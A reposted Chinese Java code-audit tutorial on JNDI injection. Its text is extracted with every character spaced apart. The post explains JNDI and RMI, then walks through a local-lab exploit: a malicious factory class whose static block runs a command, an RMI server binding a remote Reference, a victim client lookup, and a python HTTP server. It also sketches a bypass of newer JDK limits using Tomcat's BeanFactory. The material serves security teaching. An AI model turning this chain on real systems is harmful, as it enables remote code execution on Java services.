搜索

[26730] 2021-06-09_Java代码审计系列之JNDI注入

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-06-09_Java代码审计系列之JNDI注入 J a v a 代 码 审 计 系 列 之   J N D I 注 入 m o o n s e c   2 0 2 1 - 0 6 - 0 9 以 下 文 章 来 源 于 风 炫 安 全   ， 作 者 风 炫 安 全 0 x 0 1   前 言 前 言 在 J a v a 反 序 列 化 漏 洞 挖 掘 或 利 用 的 时 候 经 常 会 遇 到 R M I 、 J N D I 、 J R M P 这 些 概 念 ， 其 中 R M I 是 一 个 基 于 序 列 化 的 J a v a 远 程 方 法 调 用 机 制 。 作 为 一 个 常 见 的 反 序 列 化 入 口 ， 它 和 反 序 列 化 漏 洞 有 着 千 丝 万 缕 的 联 系 。 除 了 直 接 攻 击 R M I 服 务 接 口 外 （ 比 如 ： C V E - 2 0 1 7 - 3 2 4 1 ） ， 我 们 在 构 造 反 序 列 化 漏 洞 利 用 时 也 可 以 结 合 R M I 方 便 的 实 现 远 程 代 码 执 行 。 我 们 在 之 前 的 课 程 中 说 到 过 动 态 类 的 加 载 ， 而 j n d i 注 入 就 是 利 用 动 态 类 的 加 载 来 完 成 攻 击 的 ， 在 这 之 前 ， 我 们 先 来 了 解 一 下 j n d i 注 入 的 基 础 知 识 0 x 0 2   啥 是 啥 是 j n d i J N D I 是   J a v a   命 名 与 目 录 接 口 （ J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e ） ， 在 J 2 E E 规 范 中 是 重 要 的 规 范 之 一 ， 有 不 少 大 佬 可 能 认 为 ， 没 有 透 彻 理 解 J N D I 的 意 义 和 作 用 ， 就 没 有 真 正 掌 握 J 2 E E 特 别 是 E J B 的 知 识 。 我 们 来 举 个 常 规 的 J D B C 的 例 子 风 炫 安 全 风 炫 安 全   . 专 注 渗 透 测 试 / 网 络 安 全 / 安 全 开 发 知 识 分 享 ， 全 网 知 识 库 : e v a l s h e l l . c o m C o n n e c t i o n   j d b c c o n n = n u l l ;   t r y   {     C l a s s . f o r N a m e ( " c o m . m y s q l . j d b c . D r i v e r " ) ;     j d b c c o n n = D r i v e r M a n a g e r . g e t C o n n e c t i o n ( " j d b c : m y s q l : / / M y D B S e r v e r ? u s e r = x x x & p a s s w o r d = x x x " ) ;     . . . . . .     j d b c c o n n . c l o s e ( ) ;   }   c a t c h ( E x c e p t i o n   e )   {     e . p r i n t S t a c k T r a c e ( ) ;   }   f i n a l l y   {     i f ( j d b c c o n n ! = n u l l )   {       t r y   {         j d b c c o n n . c l o s e ( ) ;       }   c a t c h ( S Q L E x c e p t i o n   e )   {                     }   }
这 是 常 规 的 链 接 数 据 库 的 例 子 ， 也 是 其 他 语 言 程 序 员 的 常 见 做 法 。 优 点 优 点 1 .   无 可 厚 非 这 种 方 法 在 小 规 模 的 开 发 过 程 中 不 会 有 任 何 影 响 ， 只 要 程 序 员 熟 悉 J a v a 和 M y s q l ， 就 可 以 很 快 开 发 出 相 应 的 程 序 。 缺 点 缺 点 1 、 数 据 库 服 务 器 地 址 和 名 称   、 用 户 名 和 口 令 都 可 能 需 要 改 变 ， 由 此 引 发 J D B C   U R L 需 要 修 改 ； 2 、 数 据 库 可 能 改 用 别 的 产 品 ， 如 改 用 D B 2 或 者 O r a c l e ， 引 发 J D B C 驱 动 程 序 包 和 类 名 需 要 修 改 ； 3 、 随 着 实 际 使 用 终 端 的 增 加 ， 原 配 置 的 连 接 池 参 数 可 能 需 要 调 整 ； 如 何 解 决 如 何 解 决 在 对 于 J a v a 这 种 强 抽 象 模 式 的 编 程 语 言 来 说 ， 肯 定 不 会 允 许 这 么 L o w B 的 存 在 ， 程 序 员 不 应 该 关 注 后 台 的 数 据 库 是 啥 ， 版 本 是 多 少 。 所 以 为 了 统 一 化 管 理 ， 就 诞 生 了 J N D I 0 x 0 3   使 用 使 用 J N D I 在 一 开 始 很 多 人 都 会 被 j n d i 、 r m i 这 些 词 汇 搞 的 晕 头 转 向 ， 而 且 很 多 文 章 中 提 到 了 可 以 用 j n d i 调 用 r m i , 就 更 容 易 让 人 发 昏 了 。 我 们 只 要 知 道 j n d i 是 对 各 种 访 问 目 录 服 务 的 逻 辑 进 行 了 再 封 装 , 也 就 是 以 前 我 们 访 问 r m i 与 l d a p 要 写 的 代 码 差 别 很 大 ， 但 是 有 了 j n d i 这 一 层 ， 我 们 就 可 以 用 j n d i 的 方 式 来 轻 松 访 问 r m i 或 者 l d a p 服 务 ， 这 样 访 问 不 同 的 服 务 的 代 码 实 现 基 本 是 一 样 的 。 代 码 实 现 代 码 实 现 J N D I 中 有 绑 定 和 查 找 的 方 法 ： -   b i n d ： 将 第 一 个 参 数 绑 定 到 第 二 个 参 数 的 对 象 上 面
我 们 来 举 个 例 子 ： -   l o o k u p ： 通 过 提 供 的 名 称 查 找 对 象 I H e l l o . j a v a p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a . r m i . R e m o t e ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; p u b l i c   i n t e r f a c e   I H e l l o   e x t e n d s   R e m o t e   {         p u b l i c   S t r i n g   S a y H e l l o ( S t r i n g   n a m e )   t h r o w s   R e m o t e E x c e p t i o n ; } I H e l l o I m p l . j a v a p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; i m p o r t   j a v a . r m i . s e r v e r . U n i c a s t R e m o t e O b j e c t ; p u b l i c   c l a s s   I H e l l o I m p l   e x t e n d s   U n i c a s t R e m o t e O b j e c t   i m p l e m e n t s   I H e l l o   {         p u b l i c   I H e l l o I m p l ( )   t h r o w s   R e m o t e E x c e p t i o n   {                 s u p e r ( ) ;         }         @ O v e r r i d e         p u b l i c   S t r i n g   S a y H e l l o ( S t r i n g   n a m e )   t h r o w s   R e m o t e E x c e p t i o n   {                 r e t u r n   " H e l l o   "   +   n a m e ;         } } C a l l S e r v i c e . j a v a
p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . I n i t i a l C o n t e x t ; i m p o r t   j a v a . r m i . r e g i s t r y . L o c a t e R e g i s t r y ; i m p o r t   j a v a . r m i . r e g i s t r y . R e g i s t r y ; i m p o r t   j a v a . u t i l . P r o p e r t i e s ; p u b l i c   c l a s s   C a l l S e r v i c e   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n {                 P r o p e r t i e s   e n v   =   n e w   P r o p e r t i e s ( ) ;                 e n v . p u t ( C o n t e x t . I N I T I A L _ C O N T E X T _ F A C T O R Y ,   " c o m . s u n . j n d i . r m i . r e g i s t r y . R e g i s t r y C o n t e x t F a c t o r y " ) ;                 e n v . p u t ( C o n t e x t . P R O V I D E R _ U R L ,   " r m i : / / l o c a l h o s t : 1 0 9 9 " ) ;                 C o n t e x t   c t x   =   n e w   I n i t i a l C o n t e x t ( e n v ) ;                 R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 1 0 9 9 ) ;                 I H e l l o   h e l l o   =   n e w   I H e l l o I m p l ( ) ;                 r e g i s t r y . b i n d ( " h e l l o " ,   h e l l o ) ;                 I H e l l o   r h e l l o   =   ( I H e l l o )   c t x . l o o k u p ( " r m i : / / l o c a l h o s t : 1 0 9 9 / h e l l o " ) ;                 S y s t e m . o u t . p r i n t l n ( r h e l l o . S a y H e l l o ( " f e n g x u a n " ) ) ;         } }
由 于 上 面 的 代 码 将 服 务 端 与 客 户 端 写 到 了 一 起 ， 所 以 看 着 不 那 么 清 晰 ， 我 看 到 很 多 文 章 里 吧 J N D I 工 厂 初 始 化 这 一 步 操 作 划 分 到 了 服 务 端 ， 我 觉 得 是 错 误 的 ， 配 置 j n d i 工 厂 与 j n d i 的 u r l 和 端 口 应 该 是 客 户 端 的 事 情 。 可 以 对 比 一 下 前 几 章 的 r m i   d e m o 与 这 里 的 j n d i   d e m o 访 问 远 程 对 象 的 区 别 ， 加 深 理 解 J N D I 注 入 注 入 注 入 的 原 理 注 入 的 原 理 我 们 来 到 J N D I 注 入 的 核 心 部 分 ， 关 于 J N D I 注 入 ， @ p w n t e s t e r 在 B l a c k H a t 上 的 讲 义 中 写 的 已 经 很 详 细 。 我 们 这 里 重 点 讲 一 下 和 R M I 反 序 列 化 相 关 的 部 分 。 接 触 过 J N D I 注 入 的 同 学 可 能 会 疑 问 ， 不 应 该 是 R M I 服 务 器 最 终 执 行 远 程 方 法 吗 ， 为 什 么 目 标 服 务 器 l o o k u p ( ) 一 个 恶 意 的 R M I 服 务 地 址 ， 会 被 执 行 恶 意 代 码 呢 ？ 在 J N D I 服 务 中 ， R M I 服 务 端 除 了 直 接 绑 定 远 程 对 象 之 外 ， 还 可 以 通 过 R e f e r e n c e s 类 来 绑 定 一 个 外 部 的 远 程 对 象 （ 当 前 名 称 目 录 系 统 之 外 的 对 象 ） 。 绑 定 了 R e f e r e n c e 之 后 ， 服 务 端 会 先 通 过 R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) 获 取 绑 定 对 象 的 引 用 ， 并 且 在 目 录 中 保 存 。 当 客 户 端 在 l o o k u p ( ) 查 找 这 个 远 程 对 象 时 ， 客 户 端 会 获 取 相 应 的 o b j e c t   f a c t o r y ， 最 终 通 过 f a c t o r y 类 将 r e f e r e n c e 转 换 为 具 体 的 对 象 实 例 。 整 个 利 用 流 程 如 下 ： 1 .   目 标 代 码 中 调 用 了 I n i t i a l C o n t e x t . l o o k u p ( U R I ) ， 且 U R I 为 用 户 可 控 ； 2 .   攻 击 者 控 制 U R I 参 数 为 恶 意 的 R M I 服 务 地 址 ， 如 ： r m i : / / h a c k e r _ r m i _ s e r v e r / / n a m e ； 3 .   攻 击 者 R M I 服 务 器 向 目 标 返 回 一 个 R e f e r e n c e 对 象 ， R e f e r e n c e 对 象 中 指 定 某 个 精 心 构 造 的 F a c t o r y 类 ； 4 .   目 标 在 进 行 l o o k u p ( ) 操 作 时 ， 会 动 态 加 载 并 实 例 化 F a c t o r y 类 ， 接 着 调 用 f a c t o r y . g e t O b j e c t I n s t a n c e ( ) 获 取 外 部 远 程 对 象 实 例 ； 5 .   攻 击 者 可 以 在 F a c t o r y 类 文 件 的 构 造 方 法 、 静 态 代 码 块 、 g e t O b j e c t I n s t a n c e ( ) 方 法 等 处 写 入 恶 意 代 码 ， 达 到 R C E 的 效 果 ； 在 这 里 ， 攻 击 目 标 扮 演 的 相 当 于 是 J N D I 客 户 端 的 角 色 ， 攻 击 者 通 过 搭 建 一 个 恶 意 的 R M I 服 务 端 来 实 施 攻 击 。 我 们 跟 入 l o o k u p ( ) 函 数 的 代 码 中 ， 可 以 看 到 J N D I 中 对 R e f e r e n c e 类 的 处 理 逻 辑 ， 最 终 会 调 用 N a m i n g M a n a g e r . g e t O b j e c t I n s t a n c e ( ) ： 实 战 案 例 实 战 案 例
1 .   首 先 创 建 一 个 恶 意 的 对 象 p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . l a n g . m o d e l . e l e m e n t . N a m e ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a . i o . B u f f e r e d I n p u t S t r e a m ; i m p o r t   j a v a . i o . B u f f e r e d R e a d e r ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . i o . I n p u t S t r e a m R e a d e r ; i m p o r t   j a v a . u t i l . H a s h M a p ; p u b l i c   c l a s s   B a d O b j e c t   {         p u b l i c   s t a t i c   v o i d   e x e c ( S t r i n g   c m d )   t h r o w s   I O E x c e p t i o n   {                 S t r i n g   s b   =   " " ;                 B u f f e r e d I n p u t S t r e a m   b u f f e r e d I n p u t S t r e a m   =   n e w   B u f f e r e d I n p u t S t r e a m ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) ;                 B u f f e r e d R e a d e r   i n B r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( b u f f e r e d I n p u t S t r e a m ) ) ;                 S t r i n g   l i n e S t r ;                 w h i l e ( ( l i n e S t r   =   i n B r . r e a d L i n e ( ) )   ! =   n u l l ) {                         s b   + =   l i n e S t r + " n " ;                 }                 i n B r . c l o s e ( ) ;                 i n B r . c l o s e ( ) ;         }         p u b l i c   O b j e c t   g e t O b j e c t I n s t a n c e ( O b j e c t   o b j ,   N a m e   n a m e ,   C o n t e x t   c o n t e x t ,   H a s h M a p < ? ,   ? >   e n v i r o n m e n t )                 r e t u r n   n u l l ;         }         s t a t i c   {                 t r y {                         e x e c ( " g n o m e - c a l c u l a t o r " ) ;                 } c a t c h   ( E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         }
可 以 看 到 这 里 利 用 的 是 s t a t i c 代 码 块 执 行 命 令 2 .   创 建 r m i 服 务 端 ， 绑 定 恶 意 的 R e f e r e n c e 到 r m i 注 册 表 3 .   创 建 一 个 客 户 端 （ 受 害 者 ） } p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   c o m . s u n . j n d i . r m i . r e g i s t r y . R e f e r e n c e W r a p p e r ; i m p o r t   j a v a x . n a m i n g . N a m i n g E x c e p t i o n ; i m p o r t   j a v a x . n a m i n g . R e f e r e n c e ; i m p o r t   j a v a . r m i . A l r e a d y B o u n d E x c e p t i o n ; i m p o r t   j a v a . r m i . R e m o t e E x c e p t i o n ; i m p o r t   j a v a . r m i . r e g i s t r y . L o c a t e R e g i s t r y ; i m p o r t   j a v a . r m i . r e g i s t r y . R e g i s t r y ; p u b l i c   c l a s s   S e r v e r   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   R e m o t e E x c e p t i o n ,   N a m i n g E x c e p t i o n ,   A l r e a d y B o u n d E x c e p t i o n   {                 R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 1 1 0 0 ) ;                 S t r i n g   u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 7 7 7 7 / " ;                 S y s t e m . o u t . p r i n t l n ( " C r e a t e   R M I   r e g i s t r y   o n   p o r t   1 1 0 0 " ) ;                 R e f e r e n c e   r e f e r e n c e   =   n e w   R e f e r e n c e ( " E v i l O b j " ,   " E v i l O b j " ,   u r l ) ;                 R e f e r e n c e W r a p p e r   r e f e r e n c e W r a p p e r   =   n e w   R e f e r e n c e W r a p p e r ( r e f e r e n c e ) ;                 r e g i s t r y . b i n d ( " e v i l " ,   r e f e r e n c e W r a p p e r ) ;         } }
可 以 看 到 这 里 的 l o o k u p 方 法 的 参 数 是 指 向 我 设 定 的 恶 意 r m i 地 址 的 。 然 后 先 编 译 该 项 目 ， 生 成 c l a s s 文 件 ， 然 后 在 c l a s s 文 件 目 录 下 用 p y t h o n 启 动 一 个 简 单 的 H T T P   S e r v e r : 执 行 上 述 命 令 就 会 在 7 7 7 7 端 口 、 当 前 目 录 下 运 行 一 个 H T T P   S e r v e r ： 然 后 运 行 S e r v e r 端 ， 启 动 r m i   r e g i s t r y 服 务 p a c k a g e   c o m . e v a l s h e l l . j n d i ; i m p o r t   j a v a x . n a m i n g . C o n t e x t ; i m p o r t   j a v a x . n a m i n g . I n i t i a l C o n t e x t ; i m p o r t   j a v a x . n a m i n g . N a m i n g E x c e p t i o n ; p u b l i c   c l a s s   C l i e n t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   N a m i n g E x c e p t i o n   {                 C o n t e x t   c o n t e x t   =   n e w   I n i t i a l C o n t e x t ( ) ;                 c o n t e x t . l o o k u p ( " r m i : / / l o c a l h o s t : 1 1 0 0 / e v i l " ) ;         } } p y t h o n   - m   S i m p l e H T T P S e r v e r   7 7 7 7
如 果 是 J D K 1 . 7 的 版 本 ， 就 可 以 运 行 成 功 J D K 1 . 8   最 后 运 行 报 错 而 此 时 使 用 J N D I   S e r v e r 返 回 恶 意 R e f e r e n c e 是 可 以 成 功 利 用 的 ， 因 为 J D K   8 u 1 9 1 以 后 才 对 L D A P   J N D I   R e f e r e n c e 进 行 了 限 制 。 T i p s :   测 试 过 程 中 有 个 细 节 ， 我 们 在 J D K   8 u 1 0 2 中 使 用 R M I   S e r v e r   +   J N D I   R e f e r e n c e 可 以 成 功 利 用 ， 而 此 时 我 们 手 工 将   c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e   等 属 性 设 置 为 f a l s e ， 并 不 会 如 预 期 一 样 有 高 版 本 J D K 的 限 制 效 果 出 现 ， P a y l o a d 依 然 可 以 利 用 。 绕 过 高 版 本 绕 过 高 版 本 J D K 限 制 ： 利 用 本 地 限 制 ： 利 用 本 地 C l a s s 作 为 作 为 R e f e r e n c e   F a c t o r y 在 高 版 本 中 （ 如 ： J D K 8 u 1 9 1 以 上 版 本 ） 虽 然 不 能 从 远 程 加 载 恶 意 的 F a c t o r y ， 但 是 我 们 依 然 可 以 在 返 回 的 R e f e r e n c e 中 指 定 F a c t o r y   C l a s s ， 这 个 工 厂 类 必 须 在 受 害 目 标 本 地 的 C L A S S P A T H 中 。 工 厂 类 必 须 实 现   j a v a x . n a m i n g . s p i . O b j e c t F a c t o r y   接 口 ， 并 且 至 少 存 在 一 个   g e t O b j e c t I n s t a n c e ( )   方 法 。 o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y   刚 好 满 足 条 件 并 且 存 在 被 利 用 的 可 能 。 o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y   存 在 于 T o m c a t 依 赖 包 中 ， 所 以 使 用 也 是 非 常 广 泛 。 o r g . a p a c h e . n a m i n g . f a c t o r y . B e a n F a c t o r y   在   g e t O b j e c t I n s t a n c e ( )   中 会 通 过 反 射 的 方 式 实 例 化 R e f e r e n c e 所 指 向 的 任 意 B e a n   C l a s s ， 并 且 会 调 用 s e t t e r 方 法 为 所 有 的 属 性 赋 值 。 而 该 B e a n   C l a s s 的 类 名 、 属 性 、 属 性 值 ， 全 都 来 自 于 R e f e r e n c e 对 象 ， 均 是 攻 击 者 可 控 的 。 参 考 参 考 h t t p s : / / t n t a x i n . b l o g . c s d n . n e t / a r t i c l e / d e t a i l s / 1 0 5 5 8 6 6 9 1

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理